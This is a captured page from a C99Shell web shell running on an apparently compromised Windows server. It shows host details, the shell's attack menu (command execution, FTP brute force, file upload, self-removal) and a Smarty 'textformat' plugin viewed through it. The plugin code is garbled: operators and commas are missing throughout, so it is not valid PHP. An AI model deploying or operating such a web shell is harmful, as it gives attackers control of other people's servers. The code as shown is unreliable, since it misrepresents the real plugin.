!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\PhpDocumentor\phpDocumentor\Smarty-2.6.0\libs\plugins\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     block.textformat.php (1.93 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Smarty plugin
 * @package Smarty
 * @subpackage plugins
 */

/**
 * Smarty {textformat}{/textformat} block plugin
 *
 * Type:     block function<br>
 * Name:     textformat<br>
 * Purpose:  format text a certain way with preset styles
 *           or custom wrap/indent settings<br>
 * @link http://smarty.php.net/manual/en/language.function.textformat.php {textformat}
 *       (Smarty online manual)
 * @param array
 * <pre>
 * Params:   style: string (email)
 *           indent: integer (0)
 *           wrap: integer (80)
 *           wrap_char string ("\n")
 *           indent_char: string (" ")
 *           wrap_boundary: boolean (true)
 * </pre>
 * @param string contents of the block
 * @param Smarty clever simulation of a method
 * @return string string $content re-formatted
 */
function smarty_block_textformat($params$content, &$smarty)
{
    
$style null;
    
$indent 0;
    
$indent_first 0;
    
$indent_char ' ';
    
$wrap 80;
    
$wrap_char "\n";
    
$wrap_cut false;
    
$assign null;
    
    if(
$content == null) {
        return 
true;
    }

    
extract($params);

    if(
$style == 'email') {
        
$wrap 72;
    }    
    
    
// split into paragraphs    
    
$paragraphs preg_split('![\r\n][\r\n]!',$content);
    
$output '';

    foreach(
$paragraphs as $paragraph) {
        if(
$paragraph == '') {
            continue;
        }
        
// convert mult. spaces & special chars to single space
        
$paragraph preg_replace(array('!\s+!','!(^\s+)|(\s+$)!'),array(' ',''),$paragraph);
        
// indent first line
        
if($indent_first 0) {
            
$paragraph str_repeat($indent_char,$indent_first) . $paragraph;
        }
        
// wordwrap sentences
        
$paragraph wordwrap($paragraph$wrap $indent$wrap_char$wrap_cut);
        
// indent lines
        
if($indent 0) {
            
$paragraph preg_replace('!^!m',str_repeat($indent_char,$indent),$paragraph);
        }
        
$output .= $paragraph $wrap_char $wrap_char;
    }
                
    if(
$assign != null) {
        
$smarty->assign($assign,$output);
    } else {
        return 
$output;
    }
}

/* vim: set expandtab: */

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--